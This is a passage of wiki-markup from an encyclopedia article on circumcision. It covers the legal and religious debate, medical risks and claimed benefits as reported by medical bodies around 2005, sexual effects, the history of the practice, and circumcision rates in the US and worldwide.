In the [[USA]], most neonatal circumcisions are performed without anaesthesia.[http://pediatrics.aappublications.org/cgi/content/full/101/6/e5] It is now known that circumcised infants do not forget the pain during circumcision easily, as a correlation between circumcision with ineffective anaesthesia and intensity of pain response during [[vaccination]] months later could be established.[http://www.cirp.org/library/pain/taddio2/]

===Legality===
{{main|Circumcision and law}}

The mainstream medical organizations do not consider circumcision to be a legal issue as long as the decision for circumcision was made by the legal guardians, and that they have given their informed consent.

===Religious circumcision of minors===
{{main|Religious circumcision}}

In some parts and cultures of the world, it is customary or obligatory for minors of both sexes to be circumcised for [[religious]] reasons. Many believe that this practice is protected by the principle of [[freedom of religion]]. Others disagree, arguing that no right has precedence over the rights of bodily integrity of a child. Still others contend that freedom of religion only applies to belief, not action involving others. [[Female circumcision]] is prohibited in most western countries, and [[Sweden]] has restricted religious male infant circumcision. [http://www.cirp.org/news/bbc10-01-01/]

==Medical Aspects==
{{main|Medical analysis of circumcision}}

Recently there has been increasing [[Medical analysis of circumcision#Costs and Benefits|cost-benefit analysis]] of the medical aspects of neonatal circumcision. Largely these have compared the average cost of neonatal circumcision, to the expected reduction in lifetime health costs, both financial and longevity, associated with reduced incidence of disease.

These studies have been conflicting but have formed the basis of public health policies. The American Academy of Pediatrics (1999) said the medical benfits of circumcision are not sufficient to recommend routine neonatal circumcision, but that it should be the decision of informed parents.[http://pediatrics.aappublications.org/cgi/content/full/103/3/686] 

===Risks of circumcision===
{{sectstub}}
Circumcision is a [[Surgery|surgical]] procedure, and there is a risk of complications. The AAP, AMA, and AAFP state that the rate is between 0.2% and 0.6%, based upon large series. The CPS acknowledge these series, but additionally cite a review which suggested that a rate of 2% to 10% would be more realistic. The [[Royal Australasian College of Physicians]] states the rate of complications of infant circumcision as &quot;between 0.2% and 0.6% to 2%-10%&quot; in one section, and &quot;1% to 5%&quot; in another. They suggest that the variation in reported rates depends upon the situation in which circumcision is performed and the definition of complication used.  

The [[Royal Australasian College of Physicians]] and the [[American Medical Association]] criticise neonatal circumcision without [[anaesthetics]] because of the pain involved in the procedure [http://www.racp.edu.au/hpu/paed/circumcision/legal.htm] [http://www.ama-assn.org/ama/pub/category/13585.html].  The American Academy of Pediatrics explicitly recommends that if the procedure is to be performed, anaesthetics are to be used [http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686].  [[blood loss|Bleeding]] and [[infection]] are the most common complications, according to the AMA. Other complications are known, including [[sepsis|infections]], urinary fistulas, meatal stenosis, ulceration of the glans, removal of too much tissue, and secondary [[phimosis]].  Infant circumcision may cause problems such as [[skin bridges]], when the foreskin does not just heal back together but instead attaches to the [[glans penis]] [http://www.cirp.org/library/complications/naimer2/].  Loss of the penis itself has been [[David Reimer|documented]]. The RACP states that the penis is lost in 1 in 1,000,000 circumcisions.

Gairdner's [[1949]] study [http://www.cirp.org/library/general/gairdner/] reported that 16 children per year died in the [[United Kingdom|UK]] during the 1940s, a rate of 1.8 in 10,000 [http://www.cirp.org/library/legal/QLRC/08.html]. At that time, deaths attributed to phimosis and circumcision were grouped together, but Gairdner stated that the deaths were probably due to circumcision. Gairdner stated that most deaths had occurred suddenly under anaesthesia, and couldn't be explained further, but haemorrhage and infection had also proven fatal.

The American Academy of Family Physicians states that death is rare, and cites an estimated death rate with circumcisions of infants of 1 in 500,000 [http://www.aafp.org/x1462.xml].

===[[HIV]]===
The March 2005 Cochrane review concluded that while individual studies are of variable quality, there are clear indicators that circumcision can significantly reduce the chances of female-to-male [[HIV]] infection in an African population, when compared against a non-circumcised control group.[http://www.thelancet.com/journals/laninf/article/PIIS1473309905013095/fulltext] The review commented that the results of the three randomised controlled trials will be essential. The results of the first trial were published in November 2005, reporting 60% protection against HIV infection.[http://medicine.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pmed.0020298] The [[World Health Organization]] stresses that the protective effect offered by male circumcision in Africa has to be confirmed by further studies, and is not reliable enough to replace, or undermine, [[sex education]] and [[safer sex]] practice as a means to combat [[AIDS]]. Currently, several more studies are under way to investigate the protective effect of circumcision against [[HIV]] infections, but the results will not be available until 2007.[http://www.who.int/mediacentre/news/releases/2005/pr32/en/] &lt;!-- Cites needed. It has been postulated that the increased exposure to condom and safer sex education in interactions with nurses and doctors on the part of the circumcised males in these studies could have contributed to the decreased incidence of HIV those participants.  Some also contend thet the results yielded are inconclusive because the majority of circumcised men in Africa are circumcised because they are of Muslim faith, which has a practice of more widespread monogamus relationships than in the general population, as well as not interacting, especially sexually, outside of their own community, which has a significantly lower occurrence of HIV. --&gt;

In 2000, Szabo and Short suggested that the foreskin's langerhans cells might provide an entry point for the virus, which Patterson et al confirmed in their 2002 study.[http://ajp.amjpathol.org/cgi/content/full/161/3/867] McCoombe et al found that these cells were close to the surface and that the layer of protective keratin above them was thin or nonexistent.[http://www.iasociety.org/ejias/show.asp?abstract_id=2175257] [[Langerhans cells]], a part of the human immune system, can be infected by the HIV virus.[http://www.hivguidelines.org/public_html/center/clinical-guidelines/ped_adolescent_hiv_guidelines/ped_immun/ped-imm-appx-c.htm]

There is some debate, even among the medical community, as to whether or not circumcision can prevent certain infectious diseases, including HIV.  Some authors are of the opinion that the prepuce has an important immunological function, and that its removal increases the chances of infections&lt;ref name=Fleiss&gt;{{web  reference | author=P M Fleiss, F M Hodges, R S Van Howe | publisher=Sexually Transmitted Infections, vol. 74, no. 5 (October 1998): pp. 364-367 | publishyear=1998 | url=http://www.foreskin.org/immuno.htm | title=Immunological functions of the human prepuce}}&lt;/ref&gt;. Their hypothesis has been criticised on technical grounds.[http://sti.bmjjournals.com/cgi/eletters/74/5/364#112] [http://www.cirp.org/library/disease/HIV/cochrane2003/]

===[[HPV]]===
Several studies have shown that non-circumcised men are at greater risk of [[human papilloma virus]] (HPV) infection.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11948269&amp;query_hl=1] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16030106&amp;query_hl=1] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=7721284&amp;query_hl=1] While most genital [[HPV]] strains are considered harmless, some can, but not necessarily do, cause genital warts or even [[cancer]]. One study found no statistically significant difference between men with foreskins for HPV infection than those who are circumcised, but did note a significantly higher incidence of HPV lesions and urethritis [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10444125&amp;query_hl=5].

===[[Hygiene]]===
Circumcision reduces the amount of [[smegma]] produced by the body. Smegma, a transliteration of the [[Greek language|Greek]] word σμήγμα for [[soap]], is a combination of exfoliated (shed) , [[epithelial cells]], transudated skin oils and moisture that can accumulate under the [[foreskin]] of males and within the female [[vulva]] area, with a characteristic strong odor and taste. Smegma is common to all [[mammals]], male and female. While smegma is generally not believed to be harmful to health, the strong odour may be considered to be a nuisance giving the impression of lacking hygiene. In rare cases, accumulating smegma may play into causing [[balanitis]].

The [[Royal Australasian College of Physicians]] and the [[Canadian Pediatric Society]] emphasize that a non-circumcised infants penis should be left alone and requires no special care. Attempts to [[forcible retraction of the foreskin|forcibly retract the foreskin]], e.g. to clean it, are painful, often injure the foreskin, and can lead to scarring, infections and pathologic phimosis. It is recommended that, while there is no special age where the foreskin should be retractible, once the foreskin becomes retractible, the child should gently wash it with soap and water. It has been suggested, however, that excessive washing of the foreskin and the glans will make infections such as balanitis more likely.

===Infectious and chronic conditions===
Non-circumcised children and men tend to have higher rates of various infections and inflammations of the penis, and of the foreskin, than circumcised men.[http://www.circs.org/library/waskett3/index.html] The reasons are unclear, but several hypotheses have been suggested: 

*The foreskin may harbor bacteria and infect if it is not cleaned enough.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16105191&amp;query_hl=1&amp;itool=pubmed_docsum] 
*The foreskin may become inflamed if it is cleaned too often with soap.[http://www.cirp.org/library/disease/balanitis/birley/]
*The [[forcible retraction of the foreskin|forcible retraction]] in boys can lead to infections.[http://www.cps.ca/english/statements/FN/fn96-01.htm]

There are less invasive treatments than circumcision for [[posthitis]] (an inflamed foreskin)  [http://bmj.bmjjournals.com/cgi/content/full/321/7264/792] and [[balanitis]] (inflammation of the glans) [http://www.cirp.org/library/disease/balanitis/edwards1/][http://www.hkmj.org.hk/skin/balaniti.htm][http://www.cirp.org/library/disease/balanitis/birley/]. However, these are not as successful in treating [[balanitis xerotica obliterans]] ('''BXO''') [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15852285&amp;query_hl=1] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8179528&amp;query_hl=3] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12010594&amp;query_hl=5],  which is harder to treat [http://www.emedicine.com/derm/topic46.htm] [http://www.netdoctor.co.uk/ate/menshealth/203993.html]. 

[[Lichen sclerosus et atrophicus]] ('''LSA''') produces a whitish-yellowish patch on the skin, and is not believed to be always harmful or painful, and may sometimes disappear without intervention. Some consider [[balanitis xerotica obliterans]] to be a form of LSA that happens to be on the foreskin, where it may cause pathological [[phimosis]]. Circumcision is believed to reliably reduce the threat of BXO. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12021978&amp;query_hl=1&amp;itool=pubmed_docsum]

===[[Penile cancer]]===
Penile cancer is cancer of the penis, i.e. on the glans or the foreskin. The lifetime risk is estimated to be 0.17% for a non-circumcised male, [http://www.circs.org/library/kochen/index.html] and 80% of the cases are men over the age of 70. [http://www.cancerresearchuk.org/aboutcancer/specificcancers/penilecancer] 

Circumcision and [[penectomy]] may be necessary to treat [[penile cancer]]. Less invasive treatments may include freezing of the tumor, chemical treatment, radiotherapy, and minimally invasive surgery. [http://www.cancerresearchuk.org/aboutcancer/specificcancers/penilecancer] 

In 1998, the [[American Cancer Society]] labelled some claims about a relationship of circumcision with penile cancer misleading. It said:
:''However, the penile cancer risk is low in some non-circumcised populations, and the practice of circumcision is strongly associated with socio-ethnic factors, which in turn are associated with lessened risk. The consensus among studies that have taken these other factors into account is circumcision is not of value in preventing cancer of the penis.'' (1998, [http://www.cancer.org/docroot/nws/content/nws_1_1x_misleading_information.asp])''

However, in 2005, the society said:

:''Recent studies have found that circumcised men are less likely to be infected with HPV, even after this risk is adjusted for differences in sexual behavior. Other studies suggest that circumcision may reduce the risk of more invasive forms of penile cancer. However, it is important that the issue of circumcision not distract the public's attention from avoiding known penile cancer risk factors – poor hygiene, having unprotected sex with multiple partners (increasing the likelihood of human papillomavirus infection), and cigarette smoking.'' (2005, [http://www.cancer.org/docroot/CRI/content/CRI_2_4_2X_What_are_the_risk_factors_for_penile_cancer_35.asp?sitearea=])

While in another 2005 statement, they state:

:''In the past, circumcision has been suggested as a way to prevent penile cancer. This suggestion was based on studies that reported much lower penile cancer rates among circumcised men than among non-circumcised men. However, most researchers now believe those studies were flawed because they failed to consider other factors that are now known to affect penile cancer risk.'' (2005, [http://www.cancer.org/docroot/CRI/content/CRI_2_4_2X_Can_penile_cancer_be_prevented_35.asp])

===[[Phimosis]] and [[paraphimosis]]===
Pathological [[phimosis]] is a condition of a very tight foreskin that makes retraction over the glans painful or impossible. Rickwood suggested that the term 'phimosis' should be restricted to cases in which the prepuce loses suppleness and becomes scarred.[http://www.cirp.org/library/treatment/phimosis/rickwood/] [[Paraphimosis]] is an acute condition where the tight foreskin is stuck behind the glans and cannot be moved back, curbs the blood flow to the glans, and in children, is sometimes caused by a caregiver trying to [[forcible retraction of the foreskin|forcibly retract the infant foreskin]].[http://www.cirp.org/library/general/gairdner/]

The AAP state that the true frequency of such problems is unknown.[http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686] Fergusson et al found phimosis in 16% of non-circumcised boys,[http://www.circs.org/library/fergusson/index.html] while Herzog and Alvarez found it in 2.6%.[http://www.circs.org/library/herzog/index.html] Rickwood and Walker raised concern that phimosis is frequently misdiagnosed by physicians confusing it with the developmentally non-retractible foreskin.[http://www.cirp.org/library/treatment/phimosis/rickwood2/]

Several studies have identified phimosis as a risk factor for penile cancer, leading Willcourt to state that it would be irresponsible to expose a patient to risk for longer than necessary.[http://bmj.bmjjournals.com/cgi/eletters/321/7264/792#110919]

===[[Urinary tract infections]]===
Several studies and statistics have indicated that neonatal circumcision reduces the occurrence rate of ''UTI'' in male infants by a factor of about 10.[http://www.circs.org/library/singhgrewal/index.html] Some of these studies have been criticised in not taking other factors (especially for non-circumcision) into account.[http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686] A Swedish study found that the cumulative incidence of UTIs in boys under 2 years of age was 2.2%.[http://pediatrics.aappublications.org/cgi/content/full/104/2/222]

The [[Canadian Pediatric Society]] poses the question of whether increased [[UTI]] and [[balanitis]] rates in non-circumcised male infants may be caused by [[forcible retraction of the foreskin|forced premature retraction]]. [http://www.cps.ca/english/statements/FN/fn96-01.htm]

==[[Sex|Sexual]]==
{{main|Sexual effects of circumcision}}
The sexual effects of circumcision are controversial. Only a few studies have been made about the sexual function of the foreskin and the [[ridged band]]. Surveys however indicate that the majority of circumcised males are satisfied with their state. 

===[[Intercourse]]===
There are few studies on partner preference for circumcised or non-circumcised penises, with inconclusive results; they are discussed more fully in the full article.
 
The American Academy of Pediatrics states &quot;a survey of adult males using self-report suggests more varied sexual practice and less sexual dysfunction in circumcised adult men. There are anecdotal reports that penile sensation and sexual satisfaction are decreased for circumcised males.&quot;[http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686] The American Academy of Family Physicians states &quot;no valid evidence to date, however, supports the notion that being circumcised affects sexual sensation or satisfaction.&quot;[http://www.aafp.org/x1462.xml]

==History of circumcision==
{{main|History of male circumcision}}

It has been variously proposed that circumcision began as a religious [[sacrifice]], as a [[rite of passage]] marking a boy's entrance into adulthood, as a form of [[magical thinking|sympathetic magic]] to ensure virility, as a means of suppressing (or enhancing) sexual pleasure, as an aid to [[hygiene]] where regular [[bathing]] was impractical, as a means of marking those of lower (or higher) social status, as a means of differentiating a circumcising group from their non-circumcising neighbors, as a means of discouraging [[masturbation]] or other socially proscribed sexual behaviors, to remove &quot;excess&quot; pleasure, to increase a man's attractiveness to women, as a symbolic [[castration]], as a demonstration of one's ability to endure pain, or as a male counterpart to [[menstruation]] or the breaking of the [[hymen]].  It is possible that circumcision arose independently in different cultures for different reasons.

[[Image:Koceks - Surname-i Vehbi.jpg|thumb|right|250px|'''[[Kocek|Köçeks]] at a fair'''&lt;br&gt;Köçek troupe dancing at Sultan [[Ahmed III]]'s 14-day celebration of his sons' circumcision in 1720. Miniature from the ''Surname-i Vehbi'', [[Topkapi Palace]], [[Istanbul]].]]

===Circumcision in the ancient world===
The oldest documentary evidence for circumcision comes from [[ancient Egypt]].  Tomb artwork from the [[Sixth Dynasty]] (2345-2181 BCE) shows men with circumcised penises, and one [[relief]] from this period shows the rite being performed on a standing adult male. The [[Egyptian hieroglyph]] for &quot;penis&quot; depicts either a circumcised or an erect organ.  The examination of Egyptian mummies has found some with foreskins and others who were circumcised.

Circumcision was common, although not universal, among ancient [[Semitic]] peoples.  The [[Book of Jeremiah]], written in the sixth century BCE, lists the Egyptians, Jews, [[Edomites]], [[Ammonites]], and [[Moabites]] as circumcising cultures. [[Herodotus]], writing in the fifth century BCE, would add the [[Colchis|Colchians]], [[Ethiopia]]ns, [[Phoenicians]], and [[Syria]]ns to that list.

In the aftermath of the conquests of [[Alexander the Great]], Greek dislike of circumcision led to a decline in its incidence among many peoples that had previously practiced it.  The writer of the [[1 Maccabees]] wrote that under the [[Seleucid]]s, many Jewish men attempted to hide or reverse their circumcision so they could exercise in Greek [[Gymnasium (ancient Greece)|gymnasia]], where nudity was the norm. First Maccabees also relates that the Seleucids forbade the practice of [[brit milah]] (Jewish circumcision), and punished those who performed it&amp;ndash;as well as the infants who underwent it&amp;ndash;with death.

===Medical circumcision in the 19th century and early 20th century===
Several hypotheses have been raised in explaining the American public's acceptance of infant circumcision as preventive medicine.  The success of the [[germ theory of disease]] had not only enabled physicians to combat many of the postoperative complications of surgery, but had made the wider public deeply suspicious of dirt and bodily secretions.  Accordingly, the [[smegma]] that collects under the foreskin was viewed as unhealthy, and circumcision readily accepted as good penile hygiene.[http://www.cirp.org/library/history/gollaher/]  Secondly, moral sentiment of the day regarded [[masturbation]] as not only [[sin]]ful, but also physically and mentally unhealthy, stimulating the foreskin to produce the host of maladies of which it was suspected.  In this climate, circumcision could be employed as a means of discouraging masturbation.[http://www.noharmm.org/paige.htm] ''All About the Baby'', a popular parenting book of the 1890s, recommended infant circumcision for precisely this purpose. Interestingly, a 1410-man survey in the United States in 1992, [http://www.circs.org/library/laumann/index.html Laumann] found that circumcised men were ''more'' likely to report masturbating at least once a month.

With the proliferation of [[hospital]]s in urban areas, [[childbirth]], at least among the upper and middle classes, was increasingly undertaken in the care of a physician in a hospital rather than that of a [[midwife]] in the home.  It has been suggested that once a critical mass of infants were being circumcised in the hospital, circumcision became a class marker of those wealthy enough to afford a hospital birth.[http://www.cirp.org/library/legal/USA/waldeck1/]

By the 1920s, advances in the understanding of disease had undermined much of the original medical basis for preventive circumcision. Doctors continued to promote it, however, as good penile hygiene and as a preventive for a handful of conditions local to the penis: balanitis, phimosis, and penile cancer.

Routine infant circumcision was taken up in the English-speaking parts of [[Canada]], the [[United States]] and [[Australia]], and to a lesser extent in [[New Zealand]] and the [[United Kingdom]].  Although it is difficult to determine historical circumcision rates, one estimate[http://www.boystoo.com/history/statistics.htm] of infant circumcision rates in the United States holds that 30% of newborn American boys were being circumcised in 1900, 55% in 1925, and 72% in 1950.

===Circumcision since 1950===
In [[1949]], a lack of consensus in the medical community as to whether circumcision carried with it any notable health benefit motivated the United Kingdom's newly-formed [[National Health Service]] to remove routine infant circumcision from its list of covered services.  One factor in this rejection of circumcision may have been Douglas Gardiner's famous paper, ''The fate of the foreskin'', which revealed, that for the years 1942&amp;ndash;1947, about 16 children per year had died because of circumcision in England and Wales, a rate of about 1 per 6'000 performed circumcisions. [http://www.cirp.org/library/general/gairdner/] Since then, circumcision has been an out-of-pocket cost to parents, and the proportion of newborns circumcised in England and Wales has fallen to less than one percent.

In Canada, individual provincial health services began delisting circumcision in the 1980s. At present, only [[Manitoba]] pays for the procedure.  The infant circumcision rate in Canada has fallen from roughly 50% in the 1970s to 13.9% in 2003. However, the figures varied from 29.5% on Prince Edward Island to zero in Labrador and Newfoundland. [http://www.courtchallenge.com/refs/yr99p-e.html]

In [[South Korea]], circumcision was largely unknown before the establishment of the United States trusteeship in [[1945]]  and the spread of American influence. More than 90% of South Korean high school boys are now circumcised, but the average age of circumcision is 12 years [http://www.cirp.org/library/cultural/pang1/].

In [[South Africa]] circumcision has roots in several belief systems, and is performed most of the time to teen aged males : 
:''&quot;...The young men in the eastern Cape belong to the Xhosa ethnic group for whom circumcision is considered part of the passage into manhood... A law was recently introduced requiring initiation schools to be licensed and only allowing circumcisions to be performed on youths aged 18 and older. But Eastern Cape provincial Health Department spokesman Sizwe Kupelo told Reuters news agency that boys as young as 11 had died. Each year thousands of young men go into the bush alone, without water, to attend initiation schools. Many do not survive the ordeal...&quot;'' [http://news.bbc.co.uk/2/hi/africa/3069491.stm].

The major medical societies in Britain, Canada, Australia and New Zealand do not support routine non-therapeutic infant circumcision. Major medical organizations in the United States state that parents should decide what is in their child's best interests, explicitly not recommending the procedure for medical reasons. Neonatal circumcision remains the most common pediatric operation carried out in the U.S. today.

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin-left:auto; margin-right:auto; border-collapse: collapse; border:1px solid #999&quot;
|+'''Table 1: International circumcision rates'''
|- bgcolor=&quot;#f2f2f2&quot;
! Country
! Year
! Neonatal circumcisions (%)
|- 
| United States
| 2002
| 60.1% [http://www.cdc.gov/nchs/data/series/sr_13/sr13_158.pdf]
|- 
| Canada
|  2003 
| 11.5% [http://www.cirp.org/library/statistics/Canada/]
|- 
| Australia
| 2004
| 12.7% [http://www.cirp.org/library/statistics/Australia/]
|- 
| New Zealand
| 1995
| 0.35%* [http://www.cirp.org/library/statistics/NZ/]
|- 
| United Kingdom
| 1972
| 0.41% [http://www.cirp.org/library/statistics/bollinger2003/]
|- style=&quot;border-top:1px solid #999; border-bottom: hidden; border-left: hidden; border-right: hidden;&quot; 
|  colspan=&quot;3&quot; | &lt;small&gt;*Samoans, Tongans and Niueans in New Zealand continue to practice circumcision, but not in public hospitals, to which these data refer.&lt;/small&gt;
|}

==Prevalence of circumcision worldwide==
Estimates of the proportion of males that are circumcised worldwide vary from one sixth[http://www.cirp.org/library/complications/williams-kapila/] to one third[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12503896].

Except for [[Muslim]]s and [[Jew]]s, most males are not circumcised in:
: [[Europe]], [[Latin America]], [[China]], [[India]], [[Australia]] and [[South-East Asia]].

The majority of males are circumcised in the following countries, in most of which the predominant religion is [[Islam]], which endorses circumcision:
:[[Afghanistan]], [[Albania]], [[Algeria]], [[Azerbaijan]], [[Bahrain]], [[Bangladesh]], [[Benin]], [[Bosnia and Herzegovina]], [[Cameroon]], [[Chad]], [[Comoros]], [[Djibouti]], [[Egypt]], [[Eritrea]], [[Ethiopia]], [[Gabon]], [[The Gambia|Gambia]], [[Ghana]], [[Guinea]], [[Indonesia]], [[Iran]], [[Iraq]], [[Jordan]], [[Kazakhstan]], [[Kenya]], [[Kuwait]], [[Lebanon]], [[Libya]], [[Madagascar]], [[Malaysia]], [[Maldives]], [[Mali]], [[Mauritania]], [[Morocco]], [[Niger]], [[Nigeria]], [[Oman]], [[Pakistan]], &quot;[[Palestine]]&quot;, [[Qatar]], [[Republic of the Congo]], [[Saudi Arabia]], [[Sierra Leone]], [[Somalia]], &quot;[[Somaliland]]&quot;, [[Sudan]], [[Syria]], [[Tajikistan]], [[Tunisia]], [[Turkey]], &quot;[[Turkish Republic of Northern Cyprus]]&quot;, [[Turkmenistan]], [[United Arab Emirates]], [[Uzbekistan]], &quot;[[Western Sahara]]&quot;, and [[Yemen]].

In other countries where circumcision predominates it is endorsed by religion and/or by local [[Norm_(sociology)|custom]]s and [[tradition]]s:
:[[Israel]], [[Philippines]], [[Samoa]], [[South Africa]], [[South Korea]], [[Togo]], [[Tonga]], the [[United States]], and [[Vanuatu]]

===United States===
Statistics from different sources give a somewhat different picture of the prevalence of circumcision in the United States.

The National Center for Health Statistics stated that the overall rate of neonatal circumcision was 64.3% in 1979 and 65.3% in 1999. However, the rate for white infants was 0.3% lower in 1999 than 1979 and the circumcision rate for black infants increased by 6.5% over this time [http://www.cdc.gov/nchs/products/pubs/pubd/hestats/circumcisions/circumcisions_race.htm]. Also, strong regional differences developed. In the West, circumcision declined from 63.9% to 36.7%, but this was counterbalanced by rises in the Midwest and South. [http://www.cdc.gov/nchs/products/pubs/pubd/hestats/circumcisions/circumcisions_region.htm] The decline in the West has been partly attributed to increasing births among [[Latin American]]s, who usually do not circumcise [http://www.cdc.gov/nchs/products/pubs/pubd/hestats/circumcisions/circumcisions.htm]. 

A recent study, which used data from the Nationwide Inpatient Sample (a sample of 5-7 million of the nation's total inpatient stays, and representing a 20% sample taken from 8 states in 1988 and 28 in 2000), stated that circumcisions rose from 48.3% in 1988 to 61.1% in 1997.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15711354]  

Figures from the Nationwide Hospital Discharge Survey (a sample of 270,000 inpatient stays), &lt;!-- can find no evidence for this: which takes its sample from all 50 States, --&gt; state that circumcision rates declined from 64.7% in 1980 to 59.0% in 1990, then rose to 64.1% in 1995, and fell again to 60.1% in 2002. Overall, the West saw the most significant change, declining from 61.8% in 1980 to 32.6% in 2002 (see Table 44, page 51 of the National Hospital Discharge Survey, 2002) [http://www.cdc.gov/nchs/data/series/sr_13/sr13_158.pdf].

Sixteen states no longer pay for the procedure under Medicaid [http://www.circumstitions.com/Images/map-usa-notfund.gif]. One study in the Midwest of the US found that this had no effect on the newborn circumcision rate but it did affect the demand for circumcision at a later time.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14501653]

==See also==
*[[Bioethics of neonatal circumcision]]
*[[Brit milah]]
*[[Brit shalom]]
*[[Circumcision advocacy]]
*[[Circumcision and law]]
*[[Circumcision in the Bible]]
*[[Circumcision scar]]
*[[Female genital cutting]]
*[[Foreskin restoration]]
*[[Foreskin]]
*[[Forcible retraction of the foreskin]]
*[[Frenectomy]]
*[[Genital integrity]]
*[[Genital modification and mutilation]]
*[[History of male circumcision]]
*[[Holy Prepuce]]
*[[Medical analysis of circumcision]]
*[[Sexual effects of circumcision]]
*[[Zeved habat]]

==External links ==
===General information=== 
* [http://www.aafp.org/x1462.xml American Academy of Family Physicians position paper]
* [http://aappolicy.aappublications.org/cgi/content/full/pediatrics%3b103/3/686 American Academy of Pediatrics circumcision statement]
* [http://www.ama-assn.org/ama/pub/category/13585.html American Medical Association Circumcision Report]
* [http://www.cirp.org/library/statements/aaps/ Australasian Association of Pediatric Surgeons circumcision statement]
* [http://www.bma.org.uk/ap.nsf/Content/malecircumcision2003 British Medical Association guideline]
* [http://www.cps.ca/english/statements/FN/fn96-01.htm Canadian Pediatric Society circumcision assessment]
* [http://www.cirp.org/library/legal/QLRC/ Queensland Law Reform Commission research paper]
* [http://www.racp.edu.au/hpu/paed/circumcision/summary.htm Royal Australasian College of Physicians summary statement]

===Circumcision techniques===
* [http://www.aafp.org/afp/990315ap/1514.html Description of an adult circumcision] from the [[AAFP]].
* [http://www.aafp.org/afp/980915ap/peleg.html Description of an infant Gomco circumcision] from the [[AAFP]].
* [http://www.mcg.edu/pediatrics/CCNotebook/chapter2/circumsion.htm Description of a Plastibell circumcision] from the Medical College of Georgia.
* [http://www.euroband.com/mogen.htm Description of an infant Mogen circumcision] from [http://www.euroband.com Euroband].
* [http://www.globalcitizen.co.uk/travel/africa/circumcision.html Video footage of mass adult circumcision in Uganda]
* [http://www.consumptionjunction.com/content/detail.asp?ID=44865&amp;type=1&amp;page=1&amp;fav=0 Video footage of a single circumcision lead by a doctor while teaching the procedure]

===Circumcision opposition===
* [http://www.infocirc.org/welcome2.htm Info-Circumcision: Canadian circumcision opposition]
* [http://www.nocirc.org/ National Organization of Circumcision Information and Resource Center]
* [http://www.noharmm.org/ National Organization to Halt the Abuse and Routine Mutilation of Men]
* [http://www.cirp.org/ CIRP.org, Circumcision Information and Resource Pages] 
* [http://www.circumcision.org Circumcision resource center]
* [http://www.historyofcircumcision.net/ History of Circumcision pages]
* [http://jewsagainstcircumcision.org/ Jews Against Circumcision pages]

===Circumcision promotion===
* [http://www.circinfo.net/ Benefits of circumcision: medical, health and sexual] a literature review by Professor Brian Morris
* [http://medicirc.org/ Circumcision: a lifetime of medical benefits] by Dr Edgar Schoen
* [http://circuncision.tripod.com/ Circuncisión en Español] Circumcision discussion (in Spanish and English)
* [http://www.circinfo.com/ International Circumcision Information Reference Centre]
* [http://www.circlist.com Circlist] an Internet-based circumcision discussion group
* [http://www.circs.org/ Circumcision Independent Reference and Commentary Service]

==References==
&lt;references/&gt;

&lt;!-- The following references should be moved into cite tags as in [[#Risks of circumcision]], above. --&gt;

* Billy Ray Boyd. ''Circumcision Exposed: Rethinking a Medical and Cultural Tradition.'' Freedom, CA: The Crossing Press, 1998. (ISBN 0-89594-939-3)
* Anne Briggs. ''Circumcision: What Every Parent Should Know.'' Charlottesville, VA: Birth &amp;amp; Parenting Publications, 1985. (ISBN 0-9615484-0-1)
* Robert Darby. A surgical temptation: The demonization of the foreskin and the rise of circumcision in Britain. Chicago: University of Chicago Press, 2005. (ISBN 0-226-13645-0)
* Aaron J. Fink, M.D. ''Circumcision: A Parent's Decision for Life''. Kavanah Publishing Company, Inc., 1988. (ISBN 0-962-13470-8)
* Paul M. Fleiss, M.D. and Frederick Hodges, D. Phil. ''What Your Doctor May'' Not ''Tell You About Circumcision.'' New York: Warner Books, 2002. (ISBN 0-446-67880-5)
* Leonard B. Glick. Marked in Your Flesh: Circumcision from Ancient Judea to Modern America. New York: Oxford University Press, 2005. (ISBN 0-19-517674-X) 
* David L. Gollaher. ''Circumcision: A History of the World's Most Controversial Surgery.'' New York: Basic Books, 2000. (ISBN 0-456-04397-6)
* Ronald Goldman, Ph.D. ''Circumcision: The Hidden Trauma.'' Boston: Vanguard, 1996. (ISBN 0-964-44895-3-8)
* Brian J. Morris, Ph.D., D.Sc. ''In Favour of Circumcision.'' Sydney: UNSW Press, 1999. (ISBN 0-86840-537-X)
* Rosemary Romberg. ''Circumcision: The Painful Dilemma.'' South Hadley, MA Bergan &amp;amp; Garvey, 1985. (ISBN 0-897-89073-6)
* Edgar J Schoen, M.D. ''Ed Schoen, MD on Circumcision.'' Berkeley, CA: RDR Books, 2005. (ISBN 1-57143-123-3) 
* Edward Wallerstein. ''Circumcision: An American Heath Fallacy.'' New York: Springer, 1980 (ISBN 0-826-13240-5)
